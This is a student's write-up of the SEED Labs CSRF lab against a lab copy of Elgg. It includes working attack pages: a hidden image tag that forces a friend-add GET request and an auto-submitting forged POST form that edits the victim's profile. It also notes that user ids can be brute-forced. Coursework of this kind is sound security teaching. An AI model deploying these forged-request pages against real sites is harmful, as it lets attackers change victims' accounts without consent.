# Cross-Site Request Forgery (CSRF) Attack Lab
###### tags: `SUTD` `SEED Labs` `Web Security` `Lab`
*Done by: Lin Huiqing (1003810)*
Web view: https://hackmd.io/@ephemeral-instance/Skfjzc9Bd
## Task 1: Observing HTTP Request
> Please use this tool to capture an HTTP GET request and an HTTP POST request in Elgg. In your report, please identify the parameters used in this these requests, if any.
### HTTP GET request
When accessing `http://www.xsslabelgg.com`, one of the HTTP GET requests captured by HTTP Header Live is as follows (`task1_GET.txt`).
Parameters:
* `v`=`4.6.3`
### HTTP POST request
When Boby is saving his profile on `http://www.xsslabelgg.com`, one of the HTTP POST requests captured by HTTP Header Live is as follows (`task1_POST.txt`).
<!--  -->
Parameters:
* `__elgg_token`=`tZ19ppSvjZAE2oKq6JhhYw`
* `__elgg_ts`=`1617528189`
* `name`=`Boby`
* `description`=`<p>hey</p>`
* `accesslevel[description]`=`2`
* `briefdescription`=
* `accesslevel[briefdescription]`=`2`
* `location`=
* `accesslevel[location]`=`2
* `interests`=
* `accesslevel[interests]`=`2`
* `skills`=
* `accesslevel[skills]`=`2`
* `contactemail`=
* `accesslevel[contactemail]`=`2`
* `phone`=
* `accesslevel[phone]`=`2`
* `mobile`=
* `accesslevel[mobile]`=`2`
* `website`=
* `accesslevel[website]`=`2`
* `twitter`=
* `accesslevel[twitter]`=`2`
* `guid`=`45`
<!-- * `v` = `1`
* `_v`=`j89`
* `a`=`160661433`
* `t`=`pageview`
* `_s`=`1`
* `dl`=`https%3A%2F%2Fseedsecuritylabs.org%2F`
* `ul`=`en-us`
* `de`=`UTF-8`
* `dt`=`SEED Project`
* `sd`=`24-bit`
* `sr`=`800x600`
* `vp`=`514x492`
* `je`=`0`
* `_u`=`IADAAUABAAAAAC~`
* `jid`=`633284129`
* `gjid`=`2040836662`
* `cid`=`1068961260.1560269758`
* `tid`=`UA-108821978-2`
* `_gid`=`2053449475.1617978119`
* `_r`=`1`
* `gtm`=`2ou3v0`
* `z`=`1608825567` -->
## Task 2: CSRF Attack using GET Request
*Note: Code for this task can be found in `task2.html`.*
When Charlie adds Boby as a friend, HTTP Header Live get the following request as seen below(`task2_Charlie_add_Boby.txt`).
From this, the link required to send the HTTP GET request when adding Boby as a friend can be extracted: `http://www.csrflabelgg.com/action/friends/add?friend=43`. To get Alice's browser to send this GET request, the following code is added to `/var/www/CSRF/Attacker/index.html`:
``` html
<!DOCTYPE html>
<html>
<head>
<title>FRIENDS!</title>
</head>
<body>
<h1>Hey friend! ;)</h1>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=43" alt="image" width="1" height="1" />
</body>
</html>
```
The page for this code would try to load an image with the source `http://www.csrflabelgg.com/action/friends/add?friend=43` by performing a GET request. This would add Boby as a friend for whichever account is logged in on `http://www.csrflabelgg.com`.
Note that root permissions are required to modify such a file, thus `sudo` is required. After which, the following command is run in the terminal so that the changes are reflected on the site:
``` shell
sudo service apache2 start
```
The site should look like the following:
Logged in as Boby, Boby can add the link to his profile as seen.
When Alice visits Boby's profile, Alice is tempted to see Boby's embarrassing moments, so she clicks the link. As she is redirected to the page `http://www.csrflabattacker.com`, HTTP Header Live captures the following GET request (`task2_Alice_add_Boby.txt`):
Note that the `Referer` is the attacker site `http://www.csrflabattacker.com/` instead of `http://www.csrflabelgg.com/`. This GET request adds Boby as a friend on Elgg. This effects of this can be seen below where we see that Boby is added as Alice's friend.
## Task 3: CSRF Attack using POST Request
*Note: Code for this task can be found in `task3.html`.*
To launch an attack, the POST request of a profile edit has to be used. Below is the POST request sent when Alice saves her own proflie (`task3_Alice_edit.txt`):
Based on the structure observed, and the sample code provided in the lab instructions, a malicious page can be set up to get Alice's browser to send a POST request to edit Alice's profile. The following code is then added to `/var/www/CSRF/Attacker/index.html`.
``` html
<!DOCTYPE html>
<html>
<head>
<title>FRIENDS!</title>
</head>
<body>
<h1>Hey friend! ;)</h1>
<script type="text/javascript">
function forge_post()
{
var fields;
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Boby is my Hero'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]'value='2'>";
fields += "<input type='hidden' name='guid' value='42'>";
// Create a <form> element.
var p = document.createElement("form");
// Construct the form
p.action = "http://www.csrflabelgg.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
// Append the form to the current page.
document.body.appendChild(p);
// Submit the form
p.submit();
}
// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>
```
After which, the code is saved and the apache server is restarted with `sudo service apache2 start`. Boby can then send Alice a message containing a link to the malicious site as shown.
Alice is then notified of the new message.
Upon opening the message, Alice can see the contents and link sent by Boby as seen below.
To unsubscribe from Boby's "subscription", Alice then clicks the link. As Alice is redirected to the link, the following POST request can be captured by HTTP Header Live (`task3_Alice_attacked.txt`):
This POST request adds Boby's message "Boby is my Hero" to Alice's brief description as shown below.
> **Questions.** In addition to describing your attack in full details, you also need to answer the following questions in your report:
> * **Question 1**: The forged HTTP request needs Alice’s user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice’s user id. Boby does not know Alice’s Elgg password, so he cannot log into Alice’s account to get the information. Please describe how Boby can solve this problem.
Boby can add Alice as a friend and check the GET request captured by HTTP Header Live.
When Boby adds Alice as a friend, he can use the HTTP Header Live tool to capture the following (`task3_Boby_add_Alice.txt`):
From the captured packet, it can be determined from the `friend` parameter that Alice's `guid` is **42**.
> * **Question 2**: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim’s Elgg profile? Please explain.
No, unless he performs a brute force attack.
The separate site used for the attack (`http://www.csrflabattacker.com/`) is unable to access the attributes of the account logged in on the Elgg `http://www.csrflabelgg.com/`. Hence, as Boby would not be able to populate the guid visiting user dynamically, he is unable to target the unknown visitor.
However, it is possible to perform a brute force attack to send requests with different guid in hopes of the victim having one of the `guid` guessed. This would be especially fast in the case of Elgg as the `guid` of users are low.
## Task 4: Implementing a countermeasure for `Elgg`
The secret-token countermeasure can be turned on by commenting out this `return true;` statement as according to the instructions.
With this, requests made by the user will only succeed if the `__elgg_ts` and `__elgg_token` values are included.
> **Task:** After turning on the countermeasure above, try the CSRF attack again, and describe your observation.
When the CSRF attacks are performed again, they do not succeed. The following alert is shown on the user's page:
This indicates that the `__token` and `__ts` values which are required for the request are missing.
> Please point out the secret tokens in the HTTP request captured using Firefox’s HTTP inspection tool.
When Charlie adds Boby as a friend, the request can be captured using Firefox's HTTP inspection tool. Based on this, we can see the secret tokens sent together with the request.
Based on the screenshot above, the secret tokens and their values are the following:
* `__elgg_token` = `uA9-dMco-S2M9A1FZpAWdw`
* `__elgg_ts` = `1618040176`
> Please explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?
The browser's access control prevents the JavaScript code in the attacker's page from accessing any content in Elgg's pages.
Sign in with Wallet
Connect another wallet